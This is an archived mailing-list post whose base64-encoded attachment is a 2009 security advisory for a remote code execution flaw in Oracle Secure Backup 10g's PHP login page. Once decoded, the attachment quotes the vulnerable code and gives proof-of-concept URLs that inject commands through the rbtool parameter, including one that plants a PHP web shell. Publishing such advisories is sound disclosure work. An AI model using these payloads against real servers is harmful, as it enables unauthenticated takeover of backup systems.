TUCoPS :: Oracle :: va2323.htm

Oracle Secure Backup 10g Remote Code Execution
Oracle Secure Backup 10g Remote Code Execution
Oracle Secure Backup 10g Remote Code Execution




--=-YhepHLVg9ODiz52nJhvx
Content-Type: multipart/mixed; boundary="=-khnqrW9NU0VZCuXuDSRv"


--=-khnqrW9NU0VZCuXuDSRv
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hi,

Happy new year! Attached goes and advisory for one of the recently fixed
Oracle vulnerabilities in the product Oracle Secure Backup.

Regards,
Joxean Koret



--=-khnqrW9NU0VZCuXuDSRv
Content-Disposition: attachment; filename=oracle-secure-backup-2009-01-14.txt
Content-Type: text/plain; name=oracle-secure-backup-2009-01-14.txt; charset=UTF-8
Content-Transfer-Encoding: base64

T3JhY2xlIFNlY3VyZSBCYWNrdXAgMTBnIFJlbW90ZSBDb2RlIEV4ZWN1dGlvbg0KPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpQcm9kdWN0IERlc2NyaXB0
aW9uDQo9PT09PT09PT09PT09PT09PT09DQoNCk9yYWNsZSBTZWN1cmUgQmFja3VwIGlzIGEgY2Vu
dHJhbGl6ZWQgdGFwZSBiYWNrdXAgbWFuYWdlbWVudCBzb2Z0d2FyZSBwcm92aWRpbmcNCnNlY3Vy
ZSBkYXRhIHByb3RlY3Rpb24gZm9yIGhldGVyb2dlbmVvdXMgZmlsZSBzeXN0ZW1zIGFuZCB0aGUg
T3JhY2xlIERhdGFiYXNlLg0KDQpTdW1tYXJ5DQo9PT09PT09DQoNClRoZSBPcmFjbGUgSmFudWFy
eSAyMDA5IENyaXRpY2FsIFBhdGNoIFVwZGF0ZSBmaXhlcyBhIHZ1bG5lcmFiaWxpdHkgd2hpY2gN
CmFsbG93cyBhIHJlbW90ZSBwcmVhdXRoZW50aWNhdGVkIGF0dGFja2VyIHRvIGV4ZWN1dGUgYXJi
aXRyYXJ5IGNvZGUgaW4gdGhlDQpjb250ZXh0IG9mIHRoZSB1c2VyIHJ1bm5pbmcgdGhlIHdlYiBz
ZXJ2ZXIgb2YgT3JhY2xlIFNlY3VyZSBCYWNrdXAuDQoNCkluIFdpbmRvd3MgZW52aXJvbm1lbnRz
LCB0aGUgdnVsbmVyYWJpbGl0eSBhbGxvd3MgZXhlY3V0aW9uIG9mIGFyYml0cmFyeSBjb2RlIGFz
DQpTWVNURU0uIEluIFVuaXggYW5kIEdOVS9MaW51eCBlbnZpcm9ubWVudHMsIGhvd2V2ZXIsIGp1
c3QgYXMgYSBub3JtYWwgdXNlcg0KKG9yYWNsZSB1c3VhbGx5KS4NCg0KQ1ZTUzIgUmlzayBTY29y
ZQ0KPT09PT09PT09PT09PT09PQ0KDQpNaWNyb3NvZnQgV2luZG93czogMTANCkxpbnV4IGFuZCBV
bml4ICAgOiAgNyw1DQoNCkFmZmVjdGVkIHZlcnNpb25zDQo9PT09PT09PT09PT09PT09PQ0KDQpP
cmFjbGUgU2VjdXJlIEJhY2t1cCB2ZXJzaW9uIDEwLjEuMC4zIHRvIDEwLjIuMC4yIGluIGFsbCBz
dXBwb3J0ZWQgb3BlcmF0aW5nIHN5c3RlbXMNCmFyZSBhZmZlY3RlZC4NCg0KVnVsbmVyYWJpbGl0
eSBEZXRhaWxzDQo9PT09PT09PT09PT09PT09PT09PT0NCg0KT3JhY2xlIFNlY3VyZSBCYWNrdXAg
Y29tZXMgd2l0aCBvbmUgUEhQIGJhc2VkIGZyb250ZW5kIHdoaWNoIGlzIHZ1bG5lcmFibGUgdG8g
YQ0KdmFyaWFibGUgcG9pc29uaW5nIGF0dGFjayByZWdhcmRsZXNzIGlmIHRoZSBQSFAgZGlyZWN0
aXZlIHJlZ2lzdGVyX2dsb2JhbHMgaXMgDQplbmFibGVkIG9yIG5vdC4NCg0KSW50ZXJuYWxseSwg
YWxsIHRoZSB2YXJpYWJsZXMgcGFzc2VkIHRvIHRoZSBzY3JpcHQgbG9naW4ucGhwIGFyZSBjb252
ZXJ0ZWQgdG8gZ2xvYmFsDQp2YXJpYWJsZXMgaW4gdGhlIGZpbGUgJFJPT1RccGhwXGdsb2JhbHMu
cGhwLiBBbnkgdmFyaWFibGUgcmVnYXJkaW5nIG9yIHJlZ2FyZGxlc3MgdGhlDQptZXRob2QgdXNl
ZCB0byBzZW5kIHRoZSBxdWVyeSB3aWxsIGJlIHJlZ2lzdGVyZWQgYXMgYSBnbG9iYWwgdmFyaWFi
bGUuDQoNCkZyb20gdGhlIGxvZ2luIHNjcmlwdCBjYWxsZWQgImxvZ2luLnBocCIgdGhlIHRvb2wg
Im9idC5leGUiIGlzIGV4ZWN1dGVkIHdpdGggYSBwb3Blbg0KY2FsbCBwYXNzaW5nIGFyZ3VtZW50
cyByZWNlaXZlZCBmcm9tIHRoZSBjbGllbnQuIFRoZXNlIGFyZ3VtZW50cyBhcmUgbm90IHNhbml0
aXplZA0Kbm9yIHZlcmlmaWVkIGFuZCBpdCBhbGxvd3MgcG9zdC1hdXRoZW50aWNhdGlvbiByZW1v
dGUgY29tbWFuZCBleGVjdXRpb24gQlVUIGR1ZSB0byBhDQpsb2dpYyBmYWlsdXJlIGluIHRoZSBz
Y3JpcHQgImxvZ2luLnBocCIgd2hlbiB0aGUgdmFyaWFibGUgImNsZWFyIiBoYXMgdGhlIHZhbHVl
ICJubyINCmFuZCBvdGhlciB2YXJpYWJsZXMgKHRoYXQgc3VwcG9zZWRseSBjb21lcyBmcm9tIGEg
Y29va2llKSBhcmUgc2V0IGFueW9uZSBjYW4gZXhlY3V0ZQ0Kb3BlcmF0aW5nIHN5c3RlbSBjb21t
YW5kIGZyb20gcmVtb3RlIHdpdGhvdXQgYmVpbmcgYXV0aGVudGljYXRlZC4gVGhlIHZ1bG5lcmFi
bGUgY29kZQ0KaXMgdGhlIGZvbGxvd2luZzoNCg0KKC4uLikNCiAgICBpZiAoc3RybGVuKCRvcmFf
b3NiX2JnY29va2llKSA+IDAgJiYgJGJ1dHRvbiA9PSAiTG9nb3V0IikNCiAgICAgIHsNCiAgICAg
IC8vIFR1cm4gREVCVUdfRVhFQyB0byBvZmYNCiAgICAgICR0bXAgPSAkREVCVUdfRVhFQzsNCiAg
ICAgICRERUJVR19FWEVDID0gIm5vIjsNCg0KICAgICAgLy8gVGVtaW5hdGUgdGhlIGNvbm5lY3Rp
b24uDQogICAgICAkcXJfY29tbWFuZCA9ICIkcmJ0b29sIC0tdGVybWluYXRlICRvcmFfb3NiX2Jn
Y29va2llLSRvcmFfb3NiX2xjb29raWUiOw0KICAgICAgJG1zZyA9IGV4ZWNfcXIoIiRxcl9jb21t
YW5kIik7DQoNCiAgICAgIGlmIChzdHJuY21wKCRtc2dbMF0sICJFcnJvcjoiLCA2KSkNCiAgICAg
ICAgew0KICAgICAgICAvLyBTZXQgdGhlIGNvb2tpZSB1cC4NCiAgICAgICAgc2V0Y29va2llKCJv
cmFfb3NiX2JnY29va2llIiwgIiIpOw0KICAgICAgICBzZXRjb29raWUoIm9yYV9vc2JfbGNvb2tp
ZSIsICIiKTsNCiAgICAgICAgJG9yYV9vc2JfYmdjb29raWUgPSAiIjsNCiAgICAgICAgfQ0KDQog
ICAgICAvLyBSZXNldCBERUJVR19FWEVDLg0KICAgICAgJERFQlVHX0VYRUMgPSAkZHRtcDsNCiAg
ICAgIH0NCiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvbG9naW4ucGhwP2NsZWFyPXllcyIpOw0KICAg
IH0NCiguLi4pDQoNClRoZSBmdW5jdGlvbiAiZXhlY19xciIgaW50ZXJuYWxseSBjYWxscyB0aGUg
ZnVuY3Rpb24gUEhQIGZ1bmN0aW9uICJwb3BlbiIgdG8gZXhlY3V0ZQ0KYSBjb21tYW5kLiBUaGUg
JHJidG9vbCB2YXJpYWJsZSwgYWJ1c2luZyBmcm9tIHRoZSB2YXJpYWJsZSBwb2lzb25pbmcgYXR0
YWNrLCBjYW4gYmUNCmNoYW5nZWQgdG8sIGluIGV4YW1wbGUsIC9iaW4vc2ggb3IgY21kLmV4ZSB0
byBleGVjdXRlIGFyYml0cmFyeSBjb21tYW5kcyB3aXRob3V0IHRoZQ0KbmVlZCBmb3IgYSB1c2Vy
IG5hbWUgb3IgcGFzc3dvcmQsIGp1c3Qgd2l0aCBuZXR3b3JrIGFjY2VzcyB0byB0aGUgT3JhY2xl
IFNlY3VyZSBCYWNrdXANCldlYiBzZXJ2ZXIuIEluIGZhY3QsIHRoZSBzY3JpcHQgdGhpbmtzIHRo
YXQgd2UncmUgZG9pbmcgYSBsb2dvdXQuDQoNClByb29mIG9mIENvbmNlcHQNCj09PT09PT09PT09
PT09PT0NCg0KKiBDcmVhdGUgYSBmaWxlIGluIHRoZSBkaXJlY3RvcnkgImM6XCINCg0KaHR0cHM6
Ly88dGFyZ2V0Pi9sb2dpbi5waHA/Y2xlYXI9bm8mb3JhX29zYl9sY29va2llPWFhJm9yYV9vc2Jf
Ymdjb29raWU9YmImYnV0dG9uPUxvZ291dCZyYnRvb2w9Y21kLmV4ZSsvYytlY2hvK2hlbGxvK3dv
cmxkKyUzRStjOlxvcmFjbGUuc2VjdXJlLmJhY2t1cC50eHQrOw0KDQoqIENyZWF0ZSBhIFBIUCBi
YWNrZG9vcg0KDQpodHRwczovLzx0YXJnZXQ+L2xvZ2luLnBocD9jbGVhcj1ubyZvcmFfb3NiX2xj
b29raWU9YWEmb3JhX29zYl9iZ2Nvb2tpZT1iYiZidXR0b249TG9nb3V0JnJidG9vbD1jbWQuZXhl
Ky9jK2VjaG8rJTIyJTNDJTNGcGhwK3ByaW50KHNoZWxsX2V4ZWMoJTI0X0dFVCU1QidhJyU1RCkp
JTNCKyUzRiUzRSUyMislM0UrdGVzdC5waHAlM0IlMjYlMjYrZWNobw0KDQpXb3JrYXJvdW5kDQo9
PT09PT09PT09DQoNCkRpc2FibGUgdGhlIHdlYiBzZXJ2ZXIuDQoNClBhdGNoIGluZm9ybWF0aW9u
DQo9PT09PT09PT09PT09PT09PQ0KDQpPcmFjbGUgZml4ZWQgdGhlIHZ1bG5lcmFiaWxpdHkgaW4g
dmVyc2lvbiAxMC4yLjAuMyBvZiBPcmFjbGUgU2VjdXJlIEJhY2t1cC4NCg0KQ29udGFjdCBJbmZv
cm1hdGlvbg0KPT09PT09PT09PT09PT09PT09PQ0KDQpUaGUgdnVsbmVyYWJpbGl0eSB3YXMgZm91
bmQgYnkgSm94ZWFuIEtvcmV0LCBhZG1pblthdF1qb3hlYW5rb3JldFtkb3RdY29tDQoNClJlZmVy
ZW5jZXMNCj09PT09PT09PT0NCg0KT3JhY2xlIFNlY3VyZSBCYWNrdXAgZXhlY19xcigpIENvbW1h
bmQgSW5qZWN0aW9uIFZ1bG5lcmFiaWxpdHk6DQpodHRwOi8vd3d3Lnplcm9kYXlpbml0aWF0aXZl
LmNvbS9hZHZpc29yaWVzL1pESS0wOS0wMDMvDQoNCk9yYWNsZSBDcml0aWNhbCBQYXRjaCBVcGRh
dGUgSmFudWFyeSAyMDA5Og0KaHR0cDovL3d3dy5vcmFjbGUuY29tL3RlY2hub2xvZ3kvZGVwbG95
L3NlY3VyaXR5L2NyaXRpY2FsLXBhdGNoLXVwZGF0ZXMvY3B1amFuMjAwOS5odG1sDQoNClBlcm1h
bmVudCBWZXJzaW9uIG9mIHRoZSBhZHZpc29yeToNCmh0dHA6Ly9qb3hlYW5rb3JldC5jb20vYmxv
Zy8/cD0zOQ0KDQpQcm9mZXNzaW9uYWwgV2ViOg0KaHR0cDovL3d3dy5qb3hlYW5rb3JldC5jb20N
Cg0KUGVyc29uYWwgQmxvZzoNCmh0dHA6Ly93d3cuam94ZWFua29yZXQuY29tL2Jsb2cNCg0KRGlz
Y2xhaW1lcg0KPT09PT09PT09PQ0KDQpUaGUgaW5mb3JtYXRpb24gaW4gdGhpcyBhZHZpc29yeSBh
bmQgYW55IG9mIGl0cyBkZW1vbnN0cmF0aW9ucyBpcyBwcm92aWRlZCAiYXMgaXMiDQp3aXRob3V0
IGFueSB3YXJyYW50eSBvZiBhbnkga2luZC4NCg0KSSBhbSBub3QgbGlhYmxlIGZvciBhbnkgZGly
ZWN0IG9yIGluZGlyZWN0IGRhbWFnZXMgY2F1c2VkIGFzIGEgcmVzdWx0IG9mIHVzaW5nIHRoZQ0K
aW5mb3JtYXRpb24gb3IgZGVtb25zdHJhdGlvbnMgcHJvdmlkZWQgaW4gYW55IHBhcnQgb2YgdGhp
cyBhZHZpc29yeS4NCg0K


--=-khnqrW9NU0VZCuXuDSRv--

--=-YhepHLVg9ODiz52nJhvx
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQBJblBjU6rFMEYDrlERAhy3AJ4+eNpeftbfS0Im+TaEwSiJA3GTBgCfSohG
h1dFPwTx7ucfiIqE2iHmicA=iqhK
-----END PGP SIGNATURE-----

--=-YhepHLVg9ODiz52nJhvx--


		
______________________________________________ 
LLama Gratis a cualquier PC del Mundo. 
Llamadas a fijos y msviles desde 1 cintimo por minuto. 
http://es.voice.yahoo.com 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH